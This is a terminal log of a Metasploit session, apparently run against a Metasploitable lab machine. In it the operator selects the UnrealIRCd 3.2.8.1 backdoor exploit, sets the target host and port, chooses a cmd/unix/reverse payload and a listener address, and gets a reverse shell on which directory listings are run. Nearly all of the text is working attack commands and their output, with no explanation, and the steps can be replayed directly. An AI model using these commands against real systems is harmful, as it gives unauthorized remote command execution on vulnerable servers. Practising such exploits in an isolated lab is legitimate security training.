

File Actions Edit View Help

Metasploit Documentation: <https://docs.metasploit.com/>

serach irc backdoor

msf6 > serach irc backdoor

[-] Unknown command: serach. Did you mean search? Run the help command for more details.

msf6 > search irc backdoor

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
-					
0	exploit/multi/local/allwinner_backdoor	2016-04-30	excellent	Yes	Allwinner 3.4 Legacy Kernel Local Privilege Escalation
1	exploit/unix/irc/unreal_ircd_3281_backdoor	2010-06-12	excellent	No	UnrealIRCd 3.2.8.1 Backdoor Command Execution

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/irc/unreal_ircd_3281_backdoor`

msf6 > use 1

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rhost 192.168.50.101

rhost => 192.168.50.101

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set rport 6667

rport => 6667

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse

payload => cmd/unix/reverse

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[-] 192.168.50.101:6667 - Msf::OptionValidateError One or more options failed to validate: LHOST.

[*] Exploit completed, but no session was created.

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set lhost 192.168.50.100

lhost => 192.168.50.100

msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

[*] Started reverse TCP double handler on 192.168.50.100:4444

[*] 192.168.50.101:6667 - Connected to 192.168.50.101:6667...

:irc.Metasploitable.LAN NOTICE AUTH :** Looking up your hostname...

[*] 192.168.50.101:6667 - Sending backdoor command...

[*] Accepted the first client connection...

[*] Accepted the second client connection...

[*] Command: echo RZHiQUYqcywpsw8E;

[*] Writing to socket A

[*] Writing to socket B

[*] Reading from sockets...

[*] Reading from socket B

[*] B: "RZHiQUYqcywpsw8E\r\n"

[*] Matching...

[*] A is input...

[*] Command shell session 1 opened (192.168.50.100:4444 → 192.168.50.101:46730) at 2024-07-08 14:24:48 +0200

ls

Donation

LICENSE

aliases

badwords.channel.conf

badwords.message.conf

badwords.quit.conf

curl-ca-bundle.crt

dccallow.conf

doc

help.conf

ircd.log

ircd.pid

ircd.tune

modules

networks

spamfilter.conf

tmp

unreal

unrealircd.conf

cd ..

ls

X11

adduser.conf